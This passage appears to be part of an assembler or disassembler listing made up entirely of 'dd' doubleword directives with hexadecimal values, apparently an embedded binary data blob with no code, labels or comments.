		dd 4120A121h, 91C0E828h, 78EA1536h, 0C2F0F102h,	0E0EBFE8Dh
		dd 0EA14E9D1h, 425A01F7h, 27D9D867h, 58331Dh, 7EDD2599h
		dd 0E2BDE3h, 7C12C62Bh,	0F2FB4CB6h, 847D4924h, 0D92694A0h
		dd 0EC19CC6Ch, 3510A380h, 76FC6FA0h, 0A1A511CEh, 0E9722589h
		dd 0B99AF4C8h, 10CB0144h, 60834D7Fh, 0B3174E3Ch, 5430DD01h
		dd 77609466h, 255AEA40h, 24903F95h, 0B90397B6h,	41E3A646h
		dd 912380F2h, 22D21A11h, 0C418410Ch, 45050EFDh,	0A6DABCCAh
		dd 0EB9632C0h, 76F766Bh, 0E4175375h, 0D0CAE740h, 14FC8F82h
		dd 0BAA9090Bh, 4E3C8543h, 4FC07C20h, 2C810160h,	8FF9D626h
		dd 0FCC44824h, 0CD7B10E9h, 7DD92679h, 0C0C6400Ch, 0F32C9E56h
		dd 9180CC11h, 0DA8221B8h, 5C900Ch, 0C37A2542h, 0C7605AF3h
		dd 0DA008099h, 0F86A790Dh, 47260482h, 0C098E07Dh, 75F67E94h
		dd 2B62344h, 35EE6FB4h,	8C428738h, 67605C12h, 0C748C572h
		dd 8EF0801Ch, 0B00ED859h, 5BC824B6h, 1FFD0108h,	3040D539h
		dd 4988DD8Ch, 2C9F00E4h, 6BE9B35Dh, 0A300B8C4h,	42608946h
		dd 4C486D55h, 0AA1E58E6h, 39DE98E7h, 67003A5Fh,	0F6E44E76h
		dd 48D99E3h, 62C9B528h,	0CF20836Fh, 688F4003h, 9131D9FCh
		dd 0F450C1C4h, 4C891EB9h, 0B4260214h, 84650000h, 0AD150BB0h
		dd 7EFECC0Ah, 3980B0F5h, 0DD0F946h, 12F300EBh, 0E73F728Ah
		dd 84ACA001h, 84C6E12Eh, 0E74BFF40h, 61790075h,	0F632A631h
		dd 0E30074C1h, 1EDDDB70h, 0A83AC8CDh, 0F01C98h,	38951BACh
		dd 62188F41h, 3E312913h, 6C607C12h, 96FA0F6Ah, 0AEB48078h
		dd 41F9962Bh, 0F31BF0F7h, 5D009D70h, 4E7DC29h, 0B90C1FEh
		dd 56D9B8Dh, 3E1D8820h,	84B1F00Ch, 67105D80h, 28115528h
		dd 295916Ch, 0D4EFEC27h, 908112F5h, 60EA818Ch, 5512B2E0h
		dd 9097FA59h, 0B0402324h
		dd 7B9CA843h, 7C8C5500h, 0F57A924Fh, 20B079h, 161438D1h
		dd 0EFE7F59h, 20C25825h, 0FDF1B634h, 8E17010Ch,	7C7594F3h
		dd 93F983F6h, 0C0D57B58h, 0AC8655h, 0DBCA0EC1h,	0CB1E5DFFh
		dd 0BCE953h, 2575355Eh,	1FE2A2h, 3AC5DB82h, 68BB554Ah
		dd 0B9E3E607h, 0B2000C2Eh, 0C8D4F49h, 0D2C7AA0Dh, 3400C441h
		dd 9669B31Fh, 262841C1h, 5DA0C37h, 80781176h, 0ADD5880h
		dd 2D22700h, 0FCB89B5Bh, 194313B6h, 0EFD6014Eh,	227C685Ch
		dd 45F00F20h, 0A09C2E1Ch, 4BAB883h, 8F65132Eh, 76C40192h
		dd 51D17BC5h, 309C93A8h, 0E20088A6h, 80576FAEh,	0EF04B94h
		dd 0EDE97EE1h, 7D83DE62h, 41159090h, 1F827500h,	0B6BC169Fh
		dd 9DE43D1Ah, 0BACC20CAh, 500424Ah, 92EDB54Fh, 0EEC6746Eh
		dd 2C533E95h, 7104554Ch, 0CC02734Ch, 90014970h,	51DBBDDAh
		dd 80EF4BDDh, 482FAA77h, 0C2022C0Ah, 0C74A7CC5h, 606BE490h
		dd 3900A1F6h, 3C5E54E3h, 30979175h, 0E22AE65Fh,	80FFC710h
		dd 0F2D76761h, 0BD8A18h, 0FDA71D96h, 9A0C4E47h,	0F0042570h
		dd 0BAF2C7FFh, 2AD2B488h, 38F831h, 1EFC655Bh, 126B8E6h
		dd 0A504A739h, 0B30A0A6h, 15F575C6h, 981B5FD9h,	0F210B707h
		dd 0ECC41383h, 16724900h, 3CC5D4B4h, 9D2A074Ch,	0F0E852D8h
		dd 7BFC1096h, 0CE2EBC74h, 834FB461h, 0A829173Eh, 39553DE6h
		dd 0C5018727h, 0D3C2A22Eh, 0F073F9A6h, 502786Eh, 0C76C7EE9h
		dd 2E7720CFh, 43013D80h, 44A6BA74h, 1870492Dh, 8B8B6h
		dd 12F12470h, 0A54A3CC3h, 0D0936B00h, 2299E4CFh, 0E3050C1Bh
		dd 0A3E9D3FAh, 0BD2ACC1Ch, 0D08E8543h, 282E9890h, 0DF1100A9h
		dd 0D84B22DDh, 4E5855CCh, 0A83380A8h, 90B7805h,	84647AE1h
		dd 0E6828800h, 48F6B688h, 6062DE13h, 0D01D3090h, 53FE0055h
		dd 0D525E52Fh, 614C10F7h, 0D31380C8h, 2907835Ch, 80940DF2h
		dd 0B9F98E97h, 9200B3FBh, 0AE407494h, 0A0BC18CDh, 0E4C5B4h
		dd 5A6EE92Ch, 0EC740C05h, 5E9EC8B1h, 0DAF73100h, 1359B68Bh
		dd 5C416Dh, 4F4A8F54h, 58B09996h, 68F68608h, 0A0B28BCEh
		dd 0D2AD8407h, 8C596FD7h, 0D134E407h, 9D22C90h,	398745Eh
		dd 262F5984h, 80882478h, 52177EC2h, 38045A60h, 3F421A5Eh
		dd 0C4C44055h, 0C0C7E729h, 0A673EF04h, 99092AC0h, 4C4800C0h
		dd 52B6CA18h, 7F0FBD39h, 60A8308Ah, 94756380h, 76F80208h
		dd 1021D9DEh, 4053081h,	94297Eh, 9C4FF5A4h, 5C6CB940h
		dd 672218BEh, 33372201h, 1ED0B0Ah, 1380406Ch, 418582E4h
		dd 0F8A37A77h, 0E37B42E4h, 7680C4C6h, 0F0021FF1h, 5A5E0990h
		dd 0C085409Bh, 0EAF2E6E6h, 48667C00h, 3ECC3C08h, 0C9940FEFh
		dd 97040C59h, 536F84F6h, 0F5188880h, 317F2778h,	0C136D73h
		dd 0B44B8266h, 83AB809Eh, 7CF2B606h, 30C5075Bh,	1A1234E1h
		dd 10050BC7h, 483A5CC4h, 0E71D8042h, 0BF572035h, 70A11349h
		dd 9414D8F6h, 7D31C401h, 0AD4F5B1Ah, 1E614130h,	0A77AA2h
		dd 66C7369Dh, 0ED7927C2h, 1BAE2F04h, 6CA44E54h,	6155090Bh
		dd 348BC876h, 3300A065h, 0E4268E37h, 10521FE9h,	0C4B6879Eh
		dd 0ABA14564h, 255D5402h, 9BC205h, 73A51320h, 9F420096h
		dd 4FA9D892h, 0FD27523Bh, 7281051h, 61F11482h, 0FE00B698h
		dd 2044FB5Ch, 4CF6409Ah, 7F0AEE12h, 6C680821h, 2A3EA8C3h
		dd 0C2FE39CBh, 35BE3A00h, 75130914h, 7E5AF774h,	1BBB2840h
		dd 9C921B2h, 9EF65547h,	34800C6Ah, 2C15C2F7h, 26FE207h
		dd 6B80C11Ah, 0A01B7C3Dh, 13BD238h, 0F14CABF4h,	33D50117h
		dd 0F0E92CACh, 738B9A00h, 0A8F0142Dh, 50FF1630h, 0B859449Dh
		dd 0AEE5008Fh, 5A67E38Fh, 42B7A163h, 0D9D4CAA4h, 1A280068h
		dd 4535F66h, 78377106h,	49F47Dh, 4D7ACCC7h, 269D6146h
		dd 6A5D221Dh, 34C357C0h, 995FC24h, 57E1699h, 0B1E52800h
		dd 3A2633D9h, 6C606477h, 3D34960Bh, 6780D4B6h, 85B46F88h
		dd 6400B1B9h, 1470C508h, 11AB0417h, 78D203h, 1644ACA5h
		dd 5B5FDD25h, 9F0C305Ah, 0EE4A7B54h, 55DB3C01h,	9C2CDEE3h
		dd 0A61BE180h, 730AA170h, 0A4E875F6h, 0A1E36F8Eh, 1F1CA45Eh
		dd 0FF8ED868h, 9D3107BDh, 0E934D088h, 0B42477B8h, 7016EFABh
		dd 507088h, 0C1524FE8h,	1DF187FEh, 93F96D00h, 1E68269Fh
		dd 8274014Eh, 7EB3C892h, 0E2C08140h, 4AC41F7Dh,	0C8007C73h
		dd 15D6E782h, 8E7F4199h, 890009EEh, 54613E2h, 0E3740Bh
		dd 6266556Eh, 0D252942h, 0F703F209h, 4EF4E869h,	897C8Eh
		dd 90FEB9E6h, 193FAFDh,	902BA42h, 0B025C2F8h, 0ADA4ECC0h
		dd 0BC011316h, 5E0F060h, 69D54061h, 9710D703h, 0A8EC78FEh
		dd 0F2537987h, 0D49F0051h, 76FF3FEBh, 72E4FEF7h, 54A0D754h
		dd 88255A4Fh, 93CCA4h, 6D294D45h, 0ECF0253Eh, 7A311B05h
		dd 8C019BFCh, 0C5457BE0h, 8880483Ch, 0E8BF3D2Ah, 0D6295E13h
		dd 0A5F87430h, 6195001Ch, 5DEBA9ECh, 553F7875h,	7D79625Bh
		dd 121A2001h, 0D400AF59h, 1114F7C8h, 33FC9F6h, 9436E2EAh
		dd 800C6F65h, 0D03257C2h, 0B0265CE4h, 6C96FE00h, 6D824C78h
		dd 0E8A3F42Eh, 445CD242h, 0D3B800D4h, 5D0E230Ch, 0F716E42Bh
		dd 0CC34F654h, 0E6985481h, 61188C76h, 2D5921D3h, 8E4F6300h
		dd 80EA9CBEh, 0AE970AE0h, 1ED11E34h, 0AF602AFh,	0F04476F0h
		dd 4CEC68C7h, 3970E340h, 7BD92D84h, 754F5410h, 0A641CC0Eh
		dd 3AC5E097h, 9462E2Fh,	0FA4E884Ch, 0A683C68h, 12EA589Dh
		dd 59002A1h, 8071087Dh,	0BDF46FF0h, 0E91E0C91h,	949EE3C0h
		dd 1A9382Dh, 8DC2BC68h,	60582401h, 0A0B06E04h, 8CBDE43Ch
		dd 88B604E0h, 44742F99h, 10F9A880h, 88A04B4Eh, 880B7A72h
		dd 849E5542h, 0A060A620h, 40C0C589h, 6A588B86h,	6130977h
		dd 1C526111h, 805CC1EDh, 0D1917C5Ch, 689211Ah, 0D4F2B5E6h
		dd 6C79B963h, 0F9F00654h, 448D73Ah, 7E0383EFh, 3D3E0A4h
		dd 0AF28777Ch, 0EEA0DE99h, 3FF6F212h, 0A3A0B104h, 7082418Dh
		dd 6D0F99Ah, 110278D9h,	0D4C6EC12h, 68850C40h, 0F2912445h
		dd 0B7EA00F7h, 0D646507h, 54623A40h, 0ECF2AA76h, 0FD1F03Ch
		dd 90B12E16h, 0A2CD0984h, 2F8F00B0h, 6B4EC240h,	0D70850C6h
		dd 3CC590C5h, 28C8F5E5h, 0CE36839Dh, 60712E29h,	75905A1Dh
		dd 97A7F8B0h, 927C4A43h, 0C3DD9D50h, 1D4180E2h,	74B671C0h
		dd 266FA7Dh, 5530E540h,	0B4A3A7FDh, 4EC2A02Fh, 510444D3h
		dd 24B4C8A5h, 0A7640F88h, 0BCE09336h, 0F2E23AADh, 8A922D00h
		dd 30CD0FB1h, 0C1820B13h, 4CC40CB6h, 2B3F0400h,	0C564E2CBh
		dd 54C91C8h, 0C7C7260Dh, 0CAF20026h, 0A20BCCD8h, 8903E275h
		dd 40648EDCh, 0D511FF7Dh, 784C1FF2h, 16E60EC5h,	3D43901h
		dd 75C629Dh, 0B3A3EF2Fh, 6543B460h, 903F3AD9h, 2A14D12h
		dd 5B54E14Ch, 7079D4E4h, 36614F09h, 5EB4001Ch, 1DFE7E63h
		dd 0C1A7FA25h, 264D46A1h, 13E060F0h, 69FF7F30h,	38366837h
		dd 0F4D1ABh, 2DA6EE6h, 0F45D3094h, 0BE906D09h, 5227801Eh
		dd 0A164EDE5h, 0FF10A3B4h, 0A93884B8h, 0B651607Ch, 3545F6h
		dd 8B24FED5h, 0B8DFF7A4h, 753EDD01h, 0D305D604h, 0C7F430h
		dd 0E18F6BD4h, 0D2F6C938h, 8777E300h, 90AC11F8h, 0CAC10996h
		dd 8017C75h, 2033C3D9h,	1001E514h, 0FE0259EAh, 12E88A0Dh
		dd 0BC549834h, 0E47C929Ch, 0B800294Ch, 0F39C8E7Ah, 1FA5A9CDh
		dd 8270675Dh, 48821D95h, 508EEC41h, 84465C60h, 8C1FAEFAh
		dd 0CEC0BA3Bh, 0D5E492DAh
		dd 210400A3h, 0B10DE7E1h, 881223AFh, 3CB2BAF2h,	156D3E80h
		dd 1403DF32h, 0E2D29AA7h, 1141266h, 78F4204Fh, 0C0FD1EBh
		dd 40399749h, 13ED91BFh, 887D2E14h, 305C1348h, 419FB790h
		dd 52808499h, 15C38A43h, 2818025Fh, 0D137E68Fh,	1BB5D3C0h
		dd 72115400h, 7A3DDA82h, 17E871A4h, 9129D7Eh, 4C88EAADh
		dd 80CC1E58h, 48F0930Bh, 7F09A1CBh, 8497247Ah, 5440C970h
		dd 0A4588E29h, 339CF1E7h, 0B071247Ch, 0B295C700h, 607B9276h
		dd 5F6F59F7h, 61002C48h, 96836290h, 3C53A3Fh, 744B075Bh
		dd 2AE079D4h, 0BC00DADDh, 0F4CA32B2h, 7D1C113h,	8F0C30C3h
		dd 77BF60E9h, 0B1042C3Bh, 0C4DC6EB7h, 0AE41D4D1h, 0E3A1280h
		dd 0C17B0340h, 0DC44A8B0h, 114A01C5h, 7EC72517h, 0A149CC20h
		dd 34A78A50h, 1C78161Dh, 0CE6AF40h, 3D72E411h, 0F4ADDBD6h
		dd 73F69C00h, 0C68268D1h, 55E3017Ch, 0B1DFFE3Eh, 0BE8FD8EFh
		dd 0E92D51FEh, 0A7BC8416h, 6C620D42h, 0D6DA6040h, 0C2F67B00h
		dd 322E03E5h, 0F31C1635h, 62280070h, 0A356B17Ch, 0C2FB8F00h
		dd 0DFB6B40Ah, 40C75AE4h, 0D22201DCh, 7000D1FFh, 0B02317D4h
		dd 4B54FC7Fh, 0E0D8203Fh, 8F88E6C6h, 0A64D094Ch, 0BD00800Bh
		dd 0FC168A46h, 4852D001h, 0AC1A1D6Ch, 0EF1DD468h, 57620198h
		dd 20170137h, 78B09A8Ch, 0BC40AC96h, 0BA07C5h, 283C3F15h
		dd 55D96460h, 81FBE731h, 94329BF6h, 8474A858h, 453610FBh
		dd 0F51200B0h, 0E8A3538Fh, 7FE6079Ch, 8048C758h, 0B559203Bh
		dd 0DB90BCh, 4C58B611h,	9EF9102Bh, 7B081700h, 6EE86FD2h
		dd 20544EF6h, 0D98FC4B0h, 707C5026h, 9E556447h,	19834CC1h
		dd 18FDE8h, 70E8D756h, 0C9A43EB4h, 30C7D24Ah, 251810EBh
		dd 0E12ECE6h, 1E03C50Dh, 8E45729h, 0F897A500h, 9FFA2AAFh
		dd 635000ECh, 0CC18BC71h, 0C800A204h, 0A6A16FFBh, 25B365C4h
		dd 7818F9D8h, 802B478h,	0DE259E44h, 0DFE86163h,	0E6608C70h
		dd 0F7091634h, 0C6A89274h, 3006745Ah, 61A378EBh, 5248135Eh
		dd 145C237Dh, 94CAF0A0h, 989EC00h, 0BAAD132Dh, 2310013Ah
		dd 44AB2105h, 38472A7Dh, 0BB506EAEh, 22C643Ch, 0F0E6B085h
		dd 0E8846FEDh, 0B57B40A5h, 71D79B4Fh, 721B1349h, 0E2E090FAh
		dd 0AE0EDF9Fh, 0A00A0793h, 0CCC11CA8h, 0F65F17BDh, 69FC2774h
		dd 0E28F7000h, 0D93C3E3Dh, 0E48C2567h, 18543FE8h, 403F2980h
		dd 5562F106h, 38204A5Fh, 26F5A4F4h, 3F5EB46h, 14F8C29h
		dd 1844BB8Ah, 0E13CB09Dh, 0BAA2002Dh, 0AF092B25h, 7D24FC0Ch
		dd 453E94EFh, 0B108D2F8h, 0D9A38014h, 0E53E5946h, 15934C07h
		dd 0CB61B748h, 12C80ABAh, 0E8C200B9h, 1155A2BBh, 0AD2F7597h
		dd 0F548A07Bh, 1630737h, 73B72234h, 3AE5DC25h, 224B031h
		dd 0A4338343h, 0CE722EC0h, 0A97E00BAh, 3221EEDAh, 0E713036Ch
		dd 1800886Fh, 2E5EAECDh, 68829547h, 0B879EE77h,	2F4F7D00h
		dd 1D6FF31h, 8BEC67E4h,	0E830F860h, 0DE07EDE9h,	2F41B3A8h
		dd 0E0C2A1A5h, 4FC89069h, 1061675h, 810C94BCh, 0FC52E190h
		dd 0E916DC2Ch, 548980FCh, 59BEDC4h, 8D7D3344h, 0D0548735h
		dd 9C176C96h, 65612E00h, 29551441h, 2210B894h, 0AC99CFFCh
		dd 0E778A380h, 1C1A8A2Ah, 5DC6F9h, 0C0A0A763h, 8812610Fh
		dd 9408B54Ah, 3C90A73Bh, 0F078EDAAh, 0BCBF4600h, 4360E8C4h
		dd 134B04Ch, 0B3FFDF90h, 48612321h, 0D100C7E8h,	26D2366Dh
		dd 59C1E3h, 35D0B9F4h, 3874A51Bh, 80B0FA48h, 0A24F78A4h
		dd 0D9410022h, 0E94D85C4h, 250E76FAh, 0C0AA1C14h, 5EA157E4h
		dd 40C94A6Ch, 4E4C2120h, 98F67F05h, 80A3473Fh, 0EAD38265h
		dd 5FCDC091h, 0E7A407F4h, 0C00D9F1h, 1734394Fh,	849038E0h
		dd 8062942Fh, 31EC82A0h, 6EDF02B1h, 0BBF2C603h,	2CDCD0B0h
		dd 9DF91F16h, 97EBC20h,	3CC830C5h, 30F15B11h, 471BAB04h
		dd 44B8F46Eh, 0BCEA7C8Bh, 0DDF26680h, 0FB0E3A7Bh, 82431A08h
		dd 4B2622D9h, 0A4CDFD10h, 3787A82Ch, 0A9C9E0B3h, 5009FC2h
		dd 21E0AC6Fh, 250CC5AEh, 3044ED1Dh, 326DFF00h, 4D80AF12h
		dd 0BCBEE39h, 5FA4157Ch, 0FE332900h, 0EF148211h, 0C0C4E9F4h
		dd 0B73B1E0Eh, 57C21E80h, 0CFAA02F6h, 0D0600BA2h, 220110E0h
		dd 0BE0826A1h, 0FE5B8FEh, 0F878642Bh, 70C580C4h, 407BD96Ch
		dd 88F0A511h, 824B5500h, 52068FF8h, 14BA16D4h, 40A762h
		dd 7C4FB1E1h, 750382A5h, 0EA500A6Fh, 40C8BD01h,	0A0CA7A2Ch
		dd 0C873D22Eh, 0FE4EBB60h, 0FD8307E7h, 0D5BADFABh, 6870407Ch
		dd 5751FCACh, 50395D00h, 6FBB81EBh, 0A0819D77h,	74F1794Fh
		dd 0E407243Ch, 53F77ABAh, 8382A6C0h, 7FE92584h,	6FA810A0h
		dd 5F75E49Eh, 0D0B01807h, 2420F868h, 2CA044h, 854D754Bh
		dd 7A39B371h, 28C0E04Fh, 2D2EB77Ch, 28A4FA5Ch, 74BE8018h
		dd 5F1FF110h, 724A9264h, 0B05E327h, 0DF84CC1Eh,	23159040h
		dd 7B87C42Bh, 2D760044h, 93AAF22Fh, 9049BCDh, 0C0C7B47Bh
		dd 0A80068ADh, 0B5C1978Eh, 0E7E69BB9h, 5C9E4E12h, 320FECF2h
		dd 0DDCE9FAFh, 9EC43E5h, 0C8F16580h, 0C674D901h, 946C85A3h
		dd 92BFC280h, 0D007D6DCh, 491DE418h, 0ADB555E0h, 71A11F66h
		dd 60434925h, 0A6E87C10h, 9F1CF300h, 0F4CB3455h, 604A2628h
		dd 0F2C740A8h, 0C90FE431h, 4034A158h, 0E57946B9h, 1E4C005Dh
		dd 8E1BF407h, 1600CB7Ah, 8A76C10Bh, 17B890E3h, 81CED896h
		dd 20A9B458h, 0F44B46E8h, 42D00C2Dh, 1F1DFA72h,	0C7891A9Ah
		dd 0C4AF9F87h, 0B4A39Bh, 9AA40162h, 9E6C2FFh, 0A2F46C58h
		dd 0C8863C52h, 76125F00h, 0DF213E5Dh, 58776D4h,	90F6556Ch
		dd 8058A8F7h, 68D5E18Dh, 6C4B0025h, 0C797916Dh,	752C37FEh
		dd 4438548Eh, 3F1E00A8h, 8096ADEEh, 0BA00451Ah,	5014B26Ch
		dd 74CDA460h, 0C99E4h, 0C14CE247h, 0B47395F7h, 6AC09C01h
		dd 0BBA93F31h, 4C76FFFCh, 0F20ADEF6h, 1160BFD4h, 0D70407DDh
		dd 0A8807313h, 9F4EA0Dh, 27D9FFC2h, 0B14954E8h,	11F1209h
		dd 0A988B0D4h, 0C7DE08E7h, 9C8038C8h, 24B5CBF8h, 5858E8B4h
		dd 7D0015B8h, 19B01564h, 5E0070BFh, 1E6C4A7Ch, 0DE77C76Fh
		dd 225E51h, 4D03921Ch, 2F002B5Dh, 97E404EEh, 394FBB3Fh
		dd 22807CE0h, 10423C60h, 0CCB08D85h, 79434501h,	6F620C08h
		dd 1D900C20h, 0D70178ECh, 0C810307Eh, 0C471F8EEh, 41E1FC00h
		dd 1696750Dh, 8053002Eh, 0B24DFF4Ch, 971DF840h,	90010207h
		dd 0A1786DFCh, 1C011E0h, 27EE2608h, 227C0DB4h, 0C6DA005Ch
		dd 2F53FC65h, 0B7D60036h, 513114E9h, 7000B84Bh,	0B974CB19h
		dd 734FD77Ah, 2602008Bh, 0A44C11F0h, 71580DADh,	11184CDCh
		dd 0D213DBBDh, 28C4A324h, 9707E4ADh, 808F9DE3h,	7880F694h
		dd 2C436A72h, 50086Ch, 0D6D59A6h, 8096E354h, 4A49C487h
		dd 0B46F6570h, 73100BF2h, 94527C24h, 88974D50h,	0C436E025h
		dd 0C3C5073Ch, 60404C24h, 5E88E365h, 29BC7450h,	0D216B405h
		dd 24A2F731h, 7F9D8907h, 0C2C1A096h, 2E01A684h,	8FE3B48Ah
		dd 48386F47h, 4DA26C80h, 0FB009101h, 4BB2A02Fh,	580DB798h
		dd 0D12220FFh, 9FB47C4Ch, 7A93C905h, 6D968C80h,	137D0299h
		dd 0A086D0D1h, 78018473h, 0D9ACD825h, 0F2BC203Fh, 0FF688B4Ch
		dd 2F249064h, 0C4BFC031h, 3539C879h, 0D8023BBh,	0F3F2398Bh
		dd 1F01C298h, 0A01EF1C8h, 4020E771h, 3F1A0023h,	41308FB6h
		dd 139D7B7Dh, 0A66AE86Ch, 56770252h, 0D975B04Ch, 74D72CC1h
		dd 0BBB88FCCh, 81C0C00h
		dd 8C827109h, 0C905000Dh, 0AAF7037Bh, 109FD9FCh, 94BCF298h
		dd 272344B0h, 25C451CBh, 14A134E6h, 5A8A008Eh, 0C8922575h
		dd 66F9F8C0h, 0B22571E2h, 2E4090BAh, 0AC2800E8h, 74DBD398h
		dd 80B7DEE1h, 0AF10FD58h, 2820B5C8h, 968DC7CDh,	2D7C5300h
		dd 1478BCD1h, 0D6020967h, 0D8010B4Bh, 2EC6C92Eh, 0F8B49440h
		dd 0B672F0h, 8037A993h,	0AC9DDDF5h, 590A83Bh, 60189707h
		dd 2EDC98E0h, 3904F6EEh, 0B8D0AFh, 0E60024F2h, 20841542h
		dd 61C43Ah, 0ECB979B7h,	0F3786F2Dh, 49052A02h, 939AE575h
		dd 0CDE2D094h, 0D25012E1h, 0C2E20008h, 0DE90F799h, 0BA976200h
		dd 220B0410h, 89531EE0h, 437066F2h, 9BB92A1Eh, 0D94870BCh
		dd 8F54D500h, 4C4D86C2h, 94E30266h, 0DA316C7Eh,	4459D48Bh
		dd 16AC6B04h, 5C78F0h, 73B30B84h, 78AEC6E4h, 1D444C90h
		dd 9EE449h, 0E35D4B75h,	0F0971577h, 40407E5Fh, 99E133FDh
		dd 810709B4h, 430F7FD5h, 8A01F1A0h, 16E6750Ah, 0C6CA0412h
		dd 0E405680Bh, 40BC0F74h, 81C0D75Ah, 31A2DAF2h,	4088624Ah
		dd 3FD3EA3Ch, 4D000C30h, 94AB8955h, 0FB09F7BDh,	173B7Ch
		dd 0F6506F5Ch, 348CB175h, 0A1288110h, 0ECD4F380h, 0B61E8044h
		dd 0BD3F557Dh, 30D7C411h, 0B90475D0h, 90F0132Dh, 278D488h
		dd 4C01ED09h, 0E0E67051h, 9E3A4D0Eh, 0ED12A08Fh, 2746A1B7h
		dd 0C9A6290h, 2C036868h, 1154E200h, 8CA57CB6h, 18F73F9h
		dd 42CF7AADh, 0F0B8331Eh, 7104DF5Ah, 107DD238h,	6EE8F41h
		dd 0D815DD0Dh, 2D00AEDAh, 0C5EDD1Eh, 1690FED5h,	39F22E7h
		dd 28409115h, 3994C804h, 9CC96106h, 0A86ADCh, 4FD5763Bh
		dd 6C637EADh, 3FB4E302h, 74EC5E21h, 59AA40C8h, 0C5007595h
		dd 6B7DE9D5h, 5DA3C99h,	589455BCh, 7590026Ah, 0D10B68EDh
		dd 0E2380080h, 21055D49h, 4E867918h, 33F5C6h, 5C12829Ah
		dd 8EA45978h, 55273FECh, 0EA1CA141h, 43E6F58h, 0F02D97C0h
		dd 0A144E82Ch, 3810B5F6h, 7D48D96Eh, 0C000939Ch, 93479CE3h
		dd 9DF02D0Bh, 0FC54C021h, 4441A5CEh, 25B112F0h,	64370021h
		dd 8E863CD3h, 0F9F36D90h, 8DB46088h, 50407B5Ah,	0C2518656h
		dd 0DE04C096h, 16F3754Bh, 2509F1E0h, 0E476F709h, 0A78101D4h
		dd 0C2E107AFh, 6C52DAF2h, 0E820D229h, 7BAA7605h, 60B5CC22h
		dd 4A8E5EC1h, 67488121h, 0AF105096h, 25021A73h,	0D9F3C6F4h
		dd 77C8445Fh, 0EE5A7D8Fh, 0EE090CAh, 24ABADD7h,	0DF2994E1h
		dd 0A5442070h, 0B62B3588h, 316B4048h, 0ACF6C9ADh, 0C868EB07h
		dd 0FE21D48Dh, 0FC6122F2h, 0F353C4h, 0DC76C1FFh, 4A4D8C55h
		dd 0F7827303h, 0A9ED0268h, 0C070D1F3h, 7A50168Dh, 0DCA8A088h
		dd 41ECCFE9h, 4613BFCCh, 825EC8h, 0EADF696h, 0BA508066h
		dd 36032200h, 0CC7DC628h, 4EE6Fh, 0F45AF89h, 673A401h
		dd 7920B403h, 0F08D90B2h, 2122408h, 722C47E4h, 78D914BCh
		dd 0B25A2004h, 9F2D7580h, 0CE4F0148h, 0D21267B8h, 81486321h
		dd 54F77D0Bh, 0E3000436h, 0F470ACA1h, 0FF0492A4h, 7D35DEB8h
		dd 3DF940B4h, 61008E43h, 4EFFF46Bh, 0F00EBB3h, 8A2B4265h
		dd 0F2514F28h, 0D3670217h, 0FDEEB7FEh, 0C58E1CC0h, 28CC1358h
		dd 10B49898h, 21DF1E40h, 0E7091CADh, 65DE8059h,	0E6EA8EABh
		dd 0A9223A04h, 24F4FA35h, 0BC070190h, 0CB8109A7h, 0C06DDDF6h
		dd 2B02F114h, 0F9CD04FAh, 0F48C49Ah, 5911D6E3h,	0C01E7A80h
		dd 0ED0B0519h, 441438F7h, 23560068h, 98CE3E7Eh,	0ED3B1F16h
		dd 14C983A1h, 9D8CBC5Dh, 0C608D180h, 3FF16A0h, 6098D77Eh
		dd 953EE55Fh, 56EA1500h, 71ADCC30h, 0D5990125h,	0D9D07F85h
		dd 3A17CD09h, 0E38A0800h, 0FADA97Ch, 9C4ECC03h,	0C062E8C4h
		dd 55329584h, 4C85B52h,	606EC97Bh, 6FE8888h, 9F7585BCh
		dd 34013021h, 47E92ACDh, 0E02C6C2Eh, 0EDE0238Eh, 0D9DF7E63h
		dd 9A12B902h, 20F97B74h, 5C9E3F5Ah, 0BD0BD87Dh,	0F576FD61h
		dd 96752D02h, 0F260AC54h, 0DA6E74h, 2E1FA927h, 15459679h
		dd 60E7EE14h, 8DB60F28h, 5867404Ch, 9985E78h, 7D31F445h
		dd 0D600D0FAh, 2CECAE25h, 9EA2EAh, 491B9C87h, 0C28DB91h
		dd 0FD556538h, 9C2F688h, 1D5CD9DCh, 72580C44h, 0A4FE3DF0h
		dd 81019056h, 608DAAF6h, 7A00F02Dh, 79DE093Ah, 0FF0086CDh
		dd 0D9949A35h, 4B7F1F0h, 5206CE8h, 56D08861h, 96B5BC3Bh
		dd 0E9034E76h, 0B864AA3Eh, 1C7C12C5h, 1DCD4D10h, 809F5ED0h
		dd 54AA0E09h, 562DF295h, 0A1B820C7h, 41C1999h, 0F4ABDD03h
		dd 2D2C8860h, 3907E907h, 4911D87h, 0C5E4BC78h, 91AF0533h
		dd 0B4C8ECABh, 5600C2ECh, 6A2BE140h, 9CFF24h, 93D0270Ah
		dd 0BAF44755h, 0A53DA899h, 6451F0h, 662D1116h, 3512FA5Fh
		dd 0F020C7DEh, 2EB1D065h, 3C0C3F5Ch, 4840DA45h,	5A4A54F8h
		dd 0FBE028h, 399B8C1Bh,	0C8C1A1F7h, 0C52D7700h,	13547EE4h
		dd 555D124Ah, 2B04B195h, 0F961E000h, 51336F77h,	90FECC8Fh
		dd 5C2DF238h, 0ED2268E4h, 97C8D00h, 0D8D03BFFh,	923100AFh
		dd 0B991FD42h, 7072B362h, 4BCEA2Ch, 178D2F60h, 71220E98h
		dd 229FD96Fh, 78A00305h, 6CA573F6h, 7C606E80h, 57F0318Fh
		dd 4B295D3Ch, 0FAA0DCC1h, 1689860h, 31D9E26Bh, 312299B5h
		dd 804C2819h, 0E1AC158Eh, 0EC7B0009h, 5EC157B7h, 509C611Ch
		dd 4450EE81h, 6FDC8417h, 1374B831h, 219D0985h, 30679C0Ch
		dd 493D7B91h, 96480004h, 8DD9CC6Fh, 0B8D86695h,	0AD7A3870h
		dd 0F8682450h, 0B1255D05h, 38EC79E0h, 2EE2B680h, 0C000CB8Fh
		dd 0FF28476Bh, 38B7A580h, 0C400CAD6h, 0B1733AFh, 0FE5CB9D4h
		dd 7C4F13D8h, 0D62E00D1h, 0C250C1DEh, 1500BC33h, 63941D23h
		dd 0CE005F96h, 3B6E51BCh, 16830C6h, 0D84705B7h,	0C81F1431h
		dd 7D4F78A6h, 0F53D4D1h, 9C2F2F4h, 5B8F6183h, 0DF0010E4h
		dd 8533698Ah, 2DF466F1h, 502379D9h, 8CE0F2B7h, 2A0BF73Ah
		dd 50F4DDB9h, 64910024h, 4CE36774h, 9A015929h, 0B47CE75Ah
		dd 203B60BFh, 82144BDCh, 0E5453B00h, 62BA8F9Dh,	195000F5h
		dd 0B7498401h, 0A0B8A155h, 7B722901h, 5BB5A64Fh, 0CC1C003Eh
